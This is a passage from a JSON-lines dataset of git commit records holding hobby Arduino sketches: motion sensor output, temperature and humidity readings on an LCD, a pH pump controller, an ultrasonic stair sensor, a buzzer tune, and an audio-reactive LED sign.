interrupt)\n fifoCount -= packetSize;\n\n #ifdef OUTPUT_READABLE_QUATERNION\n \/\/ display quaternion values in easy matrix form: w x y z\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n Serial.print(\"quat\\t\");\n Serial.print(q.w);\n Serial.print(\"\\t\");\n Serial.print(q.x);\n Serial.print(\"\\t\");\n Serial.print(q.y);\n Serial.print(\"\\t\");\n Serial.println(q.z);\n #endif\n\n #ifdef OUTPUT_READABLE_EULER\n \/\/ display Euler angles in degrees\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetEuler(euler, &q);\n Serial.print(\"euler\\t\");\n Serial.print(euler[0] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.print(euler[1] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.println(euler[2] * 180\/M_PI);\n #endif\n\n #ifdef OUTPUT_READABLE_YAWPITCHROLL\n \/\/ display Euler angles in degrees\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);\n Serial.print(\"ypr\\t\");\n Serial.print(ypr[0] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.print(ypr[1] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.println(ypr[2] * 180\/M_PI);\n #endif\n\n #ifdef OUTPUT_READABLE_REALACCEL\n \/\/ display real acceleration, adjusted to remove gravity\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetAccel(&aa, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\n Serial.print(\"areal\\t\");\n Serial.print(aaReal.x);\n Serial.print(\"\\t\");\n Serial.print(aaReal.y);\n Serial.print(\"\\t\");\n Serial.println(aaReal.z);\n #endif\n\n #ifdef OUTPUT_READABLE_WORLDACCEL\n \/\/ display initial world-frame acceleration, adjusted to remove gravity\n \/\/ and rotated based on known orientation from quaternion\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetAccel(&aa, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\n mpu.dmpGetLinearAccelInWorld(&aaWorld, &aaReal, &q);\n Serial.print(\"aworld\\t\");\n Serial.print(aaWorld.x);\n Serial.print(\"\\t\");\n Serial.print(aaWorld.y);\n Serial.print(\"\\t\");\n Serial.println(aaWorld.z);\n #endif\n \n #ifdef OUTPUT_TEAPOT\n \/\/ display quaternion values in InvenSense Teapot demo format:\n teapotPacket[2] = fifoBuffer[0];\n teapotPacket[3] = fifoBuffer[1];\n teapotPacket[4] = fifoBuffer[4];\n teapotPacket[5] = fifoBuffer[5];\n teapotPacket[6] = fifoBuffer[8];\n teapotPacket[7] = fifoBuffer[9];\n teapotPacket[8] = fifoBuffer[12];\n teapotPacket[9] = fifoBuffer[13];\n Serial.write(teapotPacket, 14);\n teapotPacket[11]++; \/\/ packetCount, loops at 0xFF on purpose\n #endif\n\n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/vj-flight-controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"63c60324ae1874e592c78271dad289d488864eb5","subject":"dht11\/lcd arduino snippet, no rf24 integration yet","message":"dht11\/lcd arduino snippet, no rf24 integration yet\n","repos":"ggljzr\/mi-iot-semestralka,ggljzr\/mi-iot-semestralka,ggljzr\/mi-iot-semestralka","old_file":"ArduinoRF24_I2C_DHT11\/ArduinoRF24_I2C_DHT11.ino","new_file":"ArduinoRF24_I2C_DHT11\/ArduinoRF24_I2C_DHT11.ino","new_contents":"\/*\nLCD i2c library: https:\/\/github.com\/fdebrabander\/Arduino-LiquidCrystal-I2C-library\nLCD i2c module: for example http:\/\/www.aliexpress.com\/item\/LCD1602-I2C-LCD-1602-module-Blue-screen-IIC-I2C-for-arduino-LCD1602-Adapter-plate\/32651314933.html\nDHT11 library: https:\/\/github.com\/RobTillaart\/Arduino\/tree\/master\/libraries\/DHTlib\n*\/\n\n#include <dht.h>\n#include <Wire.h>\n#include <LiquidCrystal_I2C.h>\n\ndht DHT;\nLiquidCrystal_I2C lcd(0x27, 16, 2);\n\n#define DHT11_PIN 5\n#define DHT11_POWER_PIN 6\n\n#define TEMP_STR \"Temp: \"\n#define HUM_STR \"Hum: \"\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"DHT TEST PROGRAM \");\n Serial.print(\"LIBRARY VERSION: \");\n Serial.println(DHT_LIB_VERSION);\n Serial.println();\n Serial.println(\"Type,\\tstatus,\\tHumidity (%),\\tTemperature (C)\");\n\n pinMode(DHT11_POWER_PIN, OUTPUT);\n digitalWrite(DHT11_POWER_PIN, HIGH);\n\n lcd.begin();\n lcd.backlight();\n}\n\nvoid loop()\n{\n \/\/ READ DATA\n Serial.print(\"DHT11, \\t\");\n int chk = DHT.read11(DHT11_PIN);\n switch (chk)\n {\n case DHTLIB_OK: \n\t\tSerial.print(\"OK,\\t\"); \n\t\tbreak;\n case DHTLIB_ERROR_CHECKSUM: \n\t\tSerial.print(\"Checksum error,\\t\"); \n\t\tbreak;\n case DHTLIB_ERROR_TIMEOUT: \n\t\tSerial.print(\"Time out error,\\t\"); \n\t\tbreak;\n default: \n\t\tSerial.print(\"Unknown error,\\t\"); \n\t\tbreak;\n }\n \/\/ DISPLAY DATA\n Serial.print(DHT.humidity, 1);\n Serial.print(\",\\t\");\n Serial.println(DHT.temperature, 1);\n\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(TEMP_STR);\n lcd.setCursor(6,0);\n lcd.print(DHT.temperature);\n lcd.setCursor(0,1);\n lcd.print(HUM_STR);\n lcd.setCursor(6,1);\n lcd.print(DHT.humidity);\n\n delay(2000);\n}\n\/\/\n\/\/ END OF FILE\n\/\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoRF24_I2C_DHT11\/ArduinoRF24_I2C_DHT11.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"380804067fcd5f70fffa601941d5e49b369bd57b","subject":"New (mostly working code","message":"New (mostly working code\n\nLacks a pump activation counter\n","repos":"ZacVND\/IEP-Challenge-2,ZacVND\/IEP-Challenge-2,ZacVND\/IEP-Challenge-2,ZacVND\/IEP-Challenge-2,ZacVND\/IEP-Challenge-2","old_file":"PH_final_code\/PH_final_code.ino","new_file":"PH_final_code\/PH_final_code.ino","new_contents":"\n#define outputPIN P1_5\n#define inPIN P1_4\n#define basePIN P2_1\n#define acidPIN P2_2\n\n\nunsigned long int timeSend = 0;\nunsigned long int timeSinceMotorRun = 1000000;\nboolean shutDown = false;\nboolean motorRunning = false;\nint PHtarget = 1200; \/\/ will be updated by interface\nint PHmargin = 50; \/\/ \nint output = 0;\nint input = 0;\n \n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.setTimeout(50);\n pinMode(outputPIN, INPUT);\n pinMode(inPIN, INPUT);\n pinMode(basePIN, OUTPUT);\n pinMode(acidPIN, OUTPUT);\n digitalWrite(basePIN, LOW);\n digitalWrite(acidPIN, LOW);\n}\n\nvoid loop()\n{\n\n if(millis() - timeSend > 1000) \/\/ function to run every 0.25s\n {\n \/\/ read the input on analog pin P1.5:\n output = analogRead(outputPIN)*2.9; \/\/ this include a gain of 11\n input = analogRead(inPIN)*2.9;\n \n \/\/ print out the value we have read to the interface:\n Serial.print(\"PHoutputex:\");\n Serial.print(output);\n Serial.print(\"\\r\\n\"); \n Serial.print(\"PHinputes:\");\n Serial.print(input);\n Serial.print(\"\\r\\n\"); \n Serial.print(\"PHtarget:\");\n Serial.print(PHtarget);\n Serial.print(\"\\r\\n\"); \n \n PHmaintain(); \/\/ activate motors if required;\n \n timeSend = millis(); \n }\n \n PHcommandListen(); \/\/ listen for commands NOTE; THIS SECTION MUST BE COMBINED WITH OTHER SUBSYSTEMS\n \n \n \n}\n\n void PHmaintain(){\n \n int difference = PHtarget - output;\n Serial.print(\"difference:\");\n Serial.println(difference);\n \n if(motorRunning && (millis() - timeSinceMotorRun > 2000)) \/\/ if we've been running the motor for more than 2s\n {\n digitalWrite(basePIN, LOW);\n digitalWrite(acidPIN, LOW);\n \/\/ turn both motors off\n motorRunning = false;\n Serial.println(\"Shutting motor down\");\n }\n \n if(abs(difference) > PHmargin) \/\/ if the PH is outside the margin\n {\n Serial.println(\"PH outside margin\");\n \n if(difference > 0 && (millis() - timeSinceMotorRun) > 5000) \/\/ if solution is too acidic and we havn't run a motor for 10s\n {\n if(!shutDown){ \/\/ if we havn't shut the motors down.\n timeSinceMotorRun = millis();\n motorRunning = true;\n digitalWrite(basePIN, HIGH); \/\/ run base motor\n Serial.println(\"Runnng base motor\"); \n }\n }\n \n if(difference < 0 && (millis() - timeSinceMotorRun) > 5000) \/\/ if solution is too alkalie and we havn't run a motor for 10s\n {\n if(!shutDown){ \/\/ if we havn't shut the motors down.\n timeSinceMotorRun = millis();\n motorRunning = true;\n digitalWrite(acidPIN, HIGH); \/\/ run acid motor;\n Serial.println(\"Runnng acid motor\"); \n }\n } \n }\n \n }\n\n void PHcommandListen() \/\/ listen and reactor to commands from the interface\n {\n \n while (Serial.available() > 0) {\n \n String inString = Serial.readString();\n inString.trim();\n Serial.println(inString); \/\/DEBUG ONLY\n \n if(inString.equals(\"S\")){\n Serial.println(\"PH is in shutdown\");\n shutDown = true;\n digitalWrite(basePIN, LOW);\n digitalWrite(acidPIN, LOW);\n \/\/ turn both motors off\n motorRunning = false;\n }\n if(inString.equals(\"XS\")){\n Serial.println(\"PH has resumed\");\n shutDown = false;\n }\n if((inString.substring(0,11)).equals(\"PHcommanded\")) \/\/ if we see a command\n {\n PHtarget = inString.substring(12).toInt(); \/\/ change the target PH\n }\n }\n \n \n }\n \n \n \n \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PH_final_code\/PH_final_code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"08357954b071282e7a7b7aa03096805b35c19b94","subject":"Start of stair sensor","message":"Start of stair sensor\n","repos":"theapi\/CctvBlindfoldBundle,theapi\/CctvBlindfoldBundle,theapi\/CctvBlindfoldBundle,theapi\/CctvBlindfoldBundle","old_file":"arduino\/stair_sensor\/stair_sensor.ino","new_file":"arduino\/stair_sensor\/stair_sensor.ino","new_contents":"\/*\n\n Sleep until motion is detectected,\n then turn on the two ping sensors which detect if someone goes past and in which direction.\n\n*\/\n\n\/\/ NewPing uses timer 2 and switches pinging between sensors\n\/\/ @see https:\/\/code.google.com\/p\/arduino-new-ping\/\n#include <NewPing.h>\n\n\/\/ VirtualWire handles the RF transmission\n\/\/ @see http:\/\/www.airspayce.com\/mikem\/arduino\/\n#include <VirtualWire.h>\n\n#define SONAR_NUM 2 \/\/ Number of sensors.\n#define MAX_DISTANCE 700 \/\/ Maximum distance (in cm) to ping.\n#define PING_INTERVAL 33 \/\/ Milliseconds between sensor pings (29ms is about the min to avoid cross-sensor echo).\n\n\/\/ Pins\nconst byte PIN_RF_TX = 9; \/\/ Pin 12 is the default sender pin but I want 9.\nconst byte PIN_PING_POWER = 14; \/\/ Controls the transistor switch for both ping sensors.\n\nconst byte PIN_TRIG_LEFT = 7; \/\/ Send the ping on the left sensor.\nconst byte PIN_ECHO_LEFT = 8; \/\/ Listen for the left ping's echo.\n\nconst byte PIN_TRIG_RIGHT = 5; \/\/ Send the ping on the right sensor.\nconst byte PIN_ECHO_RIGHT = 6; \/\/ Listen for the right ping's echo.\n\nbyte pingPowerState = 1; \/\/ 0 = sensor off, 1 = sensor on.\n \nunsigned long msgId = 0; \/\/ Each transmission has an id so the receiver knows if it missed something.\nunsigned long lastTransmit = 0; \/\/ The last time a transmission was sent.\n \nunsigned long pingTimer[SONAR_NUM]; \/\/ Holds the times when the next ping should happen for each sensor.\nunsigned int cm[SONAR_NUM]; \/\/ Where the ping distances are stored.\nuint8_t currentSensor = 0; \/\/ Keeps track of which sensor is active.\n\nNewPing sonar[SONAR_NUM] = { \/\/ Sensor object array.\n NewPing(PIN_TRIG_LEFT, PIN_ECHO_LEFT, MAX_DISTANCE), \/\/ Each sensor's trigger pin, echo pin, and max distance to ping.\n NewPing(PIN_TRIG_RIGHT, PIN_ECHO_RIGHT, MAX_DISTANCE),\n};\n\n\n\/**\n * Transmit the message.\n *\/\nvoid transmit(char *buf) \n{\n vw_send((uint8_t *)buf, strlen(buf));\n \/\/ NB: ping returns 0 if transmitting while vw_wait_tx() so don't use it.\n \/\/vw_wait_tx(); \/\/ Wait until the whole message is gone\n lastTransmit = millis();\n}\n\n\/**\n * ISR from timer 2 - ISR(TIMER2_COMPA_vect)\n *\/\nvoid echoCheck() \n{\n \/\/ If ping received, set the sensor distance to array.\n if (sonar[currentSensor].check_timer()) { \n cm[currentSensor] = sonar[currentSensor].ping_result \/ US_ROUNDTRIP_CM;\n }\n}\n\n\/**\n * Sensor ping cycle complete, do something with the results.\n *\/\nvoid oneSensorCycle() \n{\n \/\/ The following code would be replaced with your code that does something with the ping results.\n for (uint8_t i = 0; i < SONAR_NUM; i++) {\n Serial.print(i);\n Serial.print(\"=\");\n Serial.print(cm[i]);\n Serial.print(\"cm \");\n }\n Serial.println();\n \n}\n\nvoid setup() \n{\n Serial.begin(115200);\n \n pinMode(PIN_PING_POWER, OUTPUT);\n \n vw_set_tx_pin(PIN_RF_TX);\n vw_setup(2000); \/\/ Bits per sec\n \n pingTimer[0] = millis() + 75; \/\/ First ping starts at 75ms, gives time for the Arduino to chill before starting.\n for (uint8_t i = 1; i < SONAR_NUM; i++) \/\/ Set the starting time for each sensor.\n pingTimer[i] = pingTimer[i - 1] + PING_INTERVAL;\n \n}\n\nvoid loop() \n{\n \/\/ PING )))\n for (uint8_t i = 0; i < SONAR_NUM; i++) { \/\/ Loop through all the sensors.\n if (millis() >= pingTimer[i]) { \/\/ Is it this sensor's time to ping?\n pingTimer[i] += PING_INTERVAL * SONAR_NUM; \/\/ Set next time this sensor will be pinged.\n if (i == 0 && currentSensor == SONAR_NUM - 1) oneSensorCycle(); \/\/ Sensor ping cycle complete, do something with the results.\n sonar[currentSensor].timer_stop(); \/\/ Make sure previous timer is canceled before starting a new ping (insurance).\n currentSensor = i; \/\/ Sensor being accessed.\n cm[currentSensor] = 0; \/\/ Make distance zero in case there's no ping echo for this sensor.\n sonar[currentSensor].ping_timer(echoCheck); \/\/ Do the ping (processing continues, interrupt will call echoCheck to look for echo).\n }\n }\n \n \/\/ Other code that *DOESN'T* analyze ping results can go here.\n \n if (millis() - lastTransmit > 1000) {\n \/\/ Proof of concept to power cycle the pings\n pingPowerState =!pingPowerState;\n digitalWrite(PIN_PING_POWER, pingPowerState);\n \n msgId++;\n char buf[50];\n sprintf(buf, \"id=%lu\", msgId);\n \n transmit(buf); \n }\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/stair_sensor\/stair_sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"14c29e3b1fdfa18de2c6bca8f670fe8e958d8989","subject":"added piezo buzzer","message":"added piezo buzzer\n","repos":"bsatrom\/arduino-samples,bsatrom\/arduino-samples","old_file":"piezoBuzzer\/piezoBuzzer.ino","new_file":"piezoBuzzer\/piezoBuzzer.ino","new_contents":"const int buzzerPin = 9;\nconst int songLength = 18;\n\nchar notes[] = \"cdfda ag cdfdg gf \"; \/\/ a space represents a rest.\nint beats[] = {1,1,1,1,1,1,4,4,2,1,1,1,1,1,1,4,4,2};\n\nint tempo = 150;\n\nvoid setup() {\n pinMode(buzzerPin, OUTPUT);\n}\n\nvoid loop() {\n int i, duration;\n \n for(i = 0; i < songLength; i++) {\n duration = beats[i] * tempo;\n \n if (notes[i] == ' ') {\n delay(duration);\n } else {\n tone(buzzerPin, frequency(notes[i]), duration);\n delay(duration);\n }\n delay(tempo\/10);\n }\n \n \/\/ while(true){} \/\/ Loop when you only want to play this once\n}\n\nint frequency(char note) {\n int i;\n const int numNotes = 8;\n \n char names[] = { 'c', 'd', 'e', 'f', 'g', 'a', 'b', 'C' };\n int frequencies[] = {262, 294, 330, 349, 392, 440, 494, 523};\n \n for (i = 0; i < numNotes; i++) {\n if (names[i] == note) {\n return(frequencies[i]);\n }\n }\n return(0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'piezoBuzzer\/piezoBuzzer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7a90a0392d4847b988fb3bb2995ddc01fa579038","subject":"First simple Arduino programm","message":"First simple Arduino programm\n","repos":"crysxd\/ownFX,crysxd\/ownFX,crysxd\/ownFX,crysxd\/ownFX,crysxd\/ownFX","old_file":"arduino\/arduino.ino","new_file":"arduino\/arduino.ino","new_contents":"#define EEPROM_PROFILE_START 64\n#define EEPROM_CURRENT_PROFILE_ID 0 \/\/4 Byte\n#define EEPROM_CURRENT_BRIGHTNESS 4 \/\/1 Byte\n\n#define TRANSMISSION_GET_PROFILE_ID 0\n#define TRANSMISSION_SET_PROFILE 1\n#define TRANSMISSION_GET_BRIGHTNESS 2\n#define TRANSMISSION_SET_BRIGHTNESS 3\n\nint led = 13;\n\nvoid setup() {\n \/\/Beginn Serial Communication\n Serial.begin(9600);\n \n \/\/Init here\n \n \/\/Tell host boot is complete\n Serial.println(\"ARDUINO BOOT COMPLETE\"); \n \n}\n\nvoid loop() {\n\n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n Serial.write(Serial.read());\n \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"28c59d29abfb68dbfaeef586bd98827d26965a78","subject":"Added sensor code","message":"Added sensor code\n","repos":"connecting-woodbank\/sensor-dev,connecting-woodbank\/sensor-dev,connecting-woodbank\/sensor-dev","old_file":"sensors.ino","new_file":"sensors.ino","new_contents":"\/\/ Include\n#include <Wire.h>\n#include \"SparkFunISL29125.h\"\n#include <dht.h>\n#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\n\n\/\/ Air temperature\/humidity: DHT11\ndht DHT; \/\/ define object\n#define DHT11_PIN 5\n\n\/\/ Soil temperature: DS\n\/\/ Data wire is plugged into port 6 on the Arduino\n#define ONE_WIRE_BUS 6\n\/\/ Setup a oneWire instance to communicate with any OneWire devices (not just Maxim\/Dallas temperature ICs)\nOneWire oneWire(ONE_WIRE_BUS);\n\/\/ Pass our oneWire reference to Dallas Temperature. \nDallasTemperature sensors(&oneWire);\n\/\/ arrays to hold device address\nDeviceAddress soilThermometer;\n\n\/\/ Soil humidity\n#define SoilMoisturePin 0 \/\/ pin A0\n#define SoilVccPin 4 \/\/ digital pin used as Vcc. Sensor is connected from here to GND to reduce degredation of sensor\n\n\/\/ IR\n#define IRPin 1 \/\/ A1\n#define IRVccPin 3 \/\/ D3 - used to power soil moisture sensor \n \n\/\/ Light level: ISL29125\n\/\/ Declare sensor object\nSFE_ISL29125 RGB_sensor;\n\n\n\/\/ Pin allocations \n\/\/ \t- A0: soil moisture analog output\n\/\/ \t\t- A1: IR phototransistor analog output\n\/\/ \t- A4: SDA (RGB sensor)\n\/\/ \t- A5: SCL (RGB sensor)\n\/\/ - D4: Soil moisture Vcc\n\/\/ - D3: IR phototransistor Vcc \n\/\/ \t- D5: Air temperature\/humidity digital output\n\/\/ \t\t- D4: IR phototransistor power supply\n\/\/ \t\t- D3: power supply for soil moisture sensor\n\/\/ \t- D6: Soil temperature digital output\n\n\nvoid setup(){\n \/\/ general setup\n Serial.begin(9600);\n \/\/ Light Sensor\n \/\/ Initialize the ISL29125 with simple configuration so it starts sampling\n if (RGB_sensor.init())\n {\n Serial.println(\"Light sensor Initialization Successful\\n\\r\");\n } \n \n \/\/ temperature\/humidity\n Serial.println(\"Dallas Temperature IC Control Library Demo\");\n\n \/\/ locate devices on the bus\n Serial.print(\"Locating devices...\");\n sensors.begin();\n Serial.print(\"Found \");\n Serial.print(sensors.getDeviceCount(), DEC);\n Serial.println(\" devices.\");\n\n \/\/ report parasite power requirements\n Serial.print(\"Parasite power is: \"); \n if (sensors.isParasitePowerMode()) Serial.println(\"ON\");\n else Serial.println(\"OFF\");\n \n \/\/ Assign address manually. The addresses below will beed to be changed\n \/\/ to valid device addresses on your bus. Device address can be retrieved\n \/\/ by using either oneWire.search(deviceAddress) or individually via\n \/\/ sensors.getAddress(deviceAddress, index)\n \/\/ Note that you will need to use your specific address here\n \/\/soilThermometer = { 0x28, 0x1D, 0x39, 0x31, 0x2, 0x0, 0x0, 0xF0 };\n\n \/\/ Method 1:\n \/\/ Search for devices on the bus and assign based on an index. Ideally,\n \/\/ you would do this to initially discover addresses on the bus and then \n \/\/ use those addresses and manually assign them (see above) once you know \n \/\/ the devices on your bus (and assuming they don't change).\n if (!sensors.getAddress(soilThermometer, 0)) Serial.println(\"Unable to find address for soil temperature sensor\"); \n \n \/\/ method 2: search()\n \/\/ search() looks for the next device. Returns 1 if a new address has been\n \/\/ returned. A zero might mean that the bus is shorted, there are no devices, \n \/\/ or you have already retrieved all of them. It might be a good idea to \n \/\/ check the CRC to make sure you didn't get garbage. The order is \n \/\/ deterministic. You will always get the same devices in the same order\n \/\/\n \/\/ Must be called before search()\n \/\/oneWire.reset_search();\n \/\/ assigns the first address found to soilThermometer\n \/\/if (!oneWire.search(soilThermometer)) Serial.println(\"Unable to find address for soilThermometer\");\n\n \/\/ show the addresses we found on the bus\n Serial.print(\"Soil temperature sensor address: \");\n printAddress(soilThermometer);\n Serial.println();\n\n \/\/ set the resolution to 9 bit (Each Dallas\/Maxim device is capable of several different resolutions)\n sensors.setResolution(soilThermometer, 9);\n \n Serial.print(\"Soil temperature resolution: \");\n Serial.print(sensors.getResolution(soilThermometer), DEC); \n Serial.println();\n\n \/\/ DHT11\n \n \n \/\/ soil moisture\n pinMode(SoilVccPin, OUTPUT); \/\/ Vcc pin for soil moisture sensor\n digitalWrite(SoilVccPin, LOW); \/\/ disable sensor\n \n \/\/ IR phototransistor\n pinMode(IRVccPin, OUTPUT); \/\/ set to out\n digitalWrite(IRVccPin, LOW); \/\/ make sure it's off\n \n \/\/ complete\n Serial.println(\"Node setup complete.\");\n Serial.println(\"--------------------------------------------\");\n Serial.println();\n Serial.println(\"Sol Moisture, Light (RGB), Soil Temperature, Air Relative Humidity, Air Temperature, IR Level\");\n delay(5000);\n}\n\nvoid loop(){\n \/\/ Soil Moisture\n digitalWrite(SoilVccPin, HIGH); \/\/ enable sensor\n delay(50); \/\/ allow power to settle\n Serial.print(1023-(analogRead(SoilMoisturePin)));\n Serial.print(\", \");\n digitalWrite(SoilVccPin, LOW); \/\/ disable sensor\n \n \/\/ Light\n \/\/ Read sensor values (16 bit integers)\n unsigned int red = RGB_sensor.readRed();\n unsigned int green = RGB_sensor.readGreen();\n unsigned int blue = RGB_sensor.readBlue();\n \n Serial.print(red,DEC);\n Serial.print(\", \");\n Serial.print(green,DEC);\n Serial.print(\", \");\n Serial.print(blue,DEC);\n Serial.print(\", \");\n \n \/\/ soil temperature\n \/\/ call sensors.requestTemperatures() to issue a global temperature \n \/\/ request to all devices on the bus\n sensors.requestTemperatures(); \/\/ Send the command to get temperatures\n \/\/ It responds almost immediately. Let's print out the data\n \n printTemperature(soilThermometer); \/\/ Use a simple function to print out the data\n\n \/\/ temperature and moisture\n \/\/ READ DATA\n int chk = DHT.read11(DHT11_PIN);\n switch (chk)\n {\n case DHTLIB_OK: \n \/\/ Serial.print(\"OK,\\t\"); \n break;\n case DHTLIB_ERROR_CHECKSUM: \n Serial.print(\"Checksum error,\\t\"); \n break;\n case DHTLIB_ERROR_TIMEOUT: \n Serial.print(\"Time out error,\\t\"); \n break;\n case DHTLIB_ERROR_CONNECT:\n Serial.print(\"Connect error,\\t\");\n break;\n case DHTLIB_ERROR_ACK_L:\n Serial.print(\"Ack Low error,\\t\");\n break;\n case DHTLIB_ERROR_ACK_H:\n Serial.print(\"Ack High error,\\t\");\n break;\n default: \n Serial.print(\"Unknown error,\\t\"); \n break;\n }\n \/\/ DISPLAY DATA\n Serial.print(DHT.humidity, 1);\n Serial.print(\", \");\n Serial.print(DHT.temperature, 1);\n Serial.print(\", \");\n \n \/\/IR \n digitalWrite(IRVccPin, HIGH); \/\/ enable sensor\n Serial.print(analogRead(IRPin));\n digitalWrite(IRVccPin, LOW); \/\/ disable sensor\n\n \n \/\/ finish\n Serial.println();\n delay(2000);\n \n}\n\n\/\/ soil temperature\n\/\/ function to print the temperature for a device\nvoid printTemperature(DeviceAddress deviceAddress)\n{\n \/\/ method 1 - slower\n \/\/Serial.print(\"Temp C: \");\n \/\/Serial.print(sensors.getTempC(deviceAddress));\n \/\/Serial.print(\" Temp F: \");\n \/\/Serial.print(sensors.getTempF(deviceAddress)); \/\/ Makes a second call to getTempC and then converts to Fahrenheit\n\n \/\/ method 2 - faster\n float tempC = sensors.getTempC(deviceAddress);\n Serial.print(tempC);\n Serial.print(\", \");\n\/\/ Serial.print(\" Temp F: \");\n\/\/ Serial.println(DallasTemperature::toFahrenheit(tempC)); \/\/ Converts tempC to Fahrenheit\n}\n\n\/\/ function to print a device address\nvoid printAddress(DeviceAddress deviceAddress)\n{\n for (uint8_t i = 0; i < 8; i++)\n {\n if (deviceAddress[i] < 16) Serial.print(\"0\");\n Serial.print(deviceAddress[i], HEX);\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2b5936bbb536702c50cd5e2b9aa5521f9e9922cc","subject":"Add example sketch for vor_humidity.","message":"Add example sketch for vor_humidity.\n","repos":"futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor","old_file":"vor-arduino\/examples\/humidity\/humidity.ino","new_file":"vor-arduino\/examples\/humidity\/humidity.ino","new_contents":"#include \"vor_humidity.h\"\n#include \"vor_led.h\"\n\nVorHumidity humidity(A0);\nVorLed led;\n\nvoid setup() {\n Serial.begin(9600);\n while (!Serial);\n}\n\nvoid loop() {\n float value = humidity.readProcessed();\n Serial.println(value);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'vor-arduino\/examples\/humidity\/humidity.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0c0b61fc63e461c26569824cfaacb37ee29df93b","subject":"Vibe sign","message":"Vibe sign\n","repos":"nijotz\/pixl","old_file":"examples\/vibe-sign\/vibe-sign.ino","new_file":"examples\/vibe-sign\/vibe-sign.ino","new_contents":"#include <pixl.h>\n#include <FastLED.h>\n#include <Logging.h>\n\n\/\/ Uncomment to turn off assertions\n#define NDEBUG\n\n\/\/ Weird thing I had to do to get the Logging library working with teensy\nextern \"C\"{\n int _getpid(){ return -1;}\n int _kill(int pid, int sig){ return -1; }\n int _write(){return -1;}\n}\n\n#define LOGLEVEL LOG_LEVEL_INFOS\n\nusing namespace pixl;\n\nInput* input;\n\n\/\/ Triangle\nLEDStrip triangle_strip = LEDStrip(165);\nint triangle_points[] = {37, 0, 19};\nint triangle_edges[] = {18, 19, 18};\nLEDStrip* triangle_strips[] = {&triangle_strip};\nLEDs triangle_led = LEDs(3, triangle_strips, triangle_points, triangle_edges);\nLEDs* triangle_leds[] = {&triangle_led};\nTriangleAnimation* triangle_anim;\nCircleAnimation* circle_anim;\n\n\/\/ Circle\nLEDStrip circle_strip = LEDStrip(150);\nLEDs circle_led = LEDs(circle_strip, 0, 150);\nLEDs* circle_leds[] = {&circle_led};\n\nVisualization* viz;\n\n\/\/ Audio shield setup\nAudioInputI2S audio;\n\/\/AudioAnalyzePeak peak;\n\/\/AudioAnalyzeNoteFrequency note;\n\/\/AudioConnection patchCord1(audio, peak);\n\/\/AudioConnection patchCord2(audio, note);\nAudioControlSGTL5000 audioShield;\nAudioAnalyzeFFT1024 fft;\nAudioConnection patchCord1(audio, 0, fft, 0);\n\nvoid setup() {\n Log.Init(LOGLEVEL, 9600);\n delay(1000);\n Log.Info(\"Starting setup()\\n\");\n Serial.flush();\n delay(1000);\n\n AudioMemory(12);\n audioShield.enable();\n audioShield.inputSelect(AUDIO_INPUT_LINEIN);\n audioShield.lineInLevel(15);\n \/\/audioShield.inputSelect(AUDIO_INPUT_MIC);\n \/\/audioShield.micGain(100);\n \/\/note.begin(.99);\n\n fft.windowFunction(AudioWindowHanning1024);\n\n \/\/input = new AudioShieldInput(&peak, ¬e);\n input = new FFTInput(&fft);\n\n viz = new RippleVisualization(input, 50, 1, true);\n triangle_anim = new TriangleAnimation(viz, triangle_leds, 1);\n circle_anim = new CircleAnimation(viz, circle_leds, 1);\n\n triangle_anim->init(1.0);\n circle_anim->init(1.0);\n\n FastLED.addLeds<WS2811, 2, GRB>(triangle_strip.leds, 165);\n FastLED.addLeds<WS2811, 2, GRB>(circle_strip.leds, 150);\n FastLED.setBrightness(255);\n\n Looper* looper = Looper::instance();\n looper->addInput(input);\n looper->addVisualization(viz);\n looper->addAnimation(triangle_anim);\n looper->addAnimation(circle_anim);\n looper->setUpdatesPerSecond(30);\n\n Log.Info(\"Finished setup()\\n\");\n delay(100);\n}\n\nvoid loop() {\n AudioNoInterrupts();\n Looper::instance()->loop();\n AudioInterrupts();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/vibe-sign\/vibe-sign.ino' did not 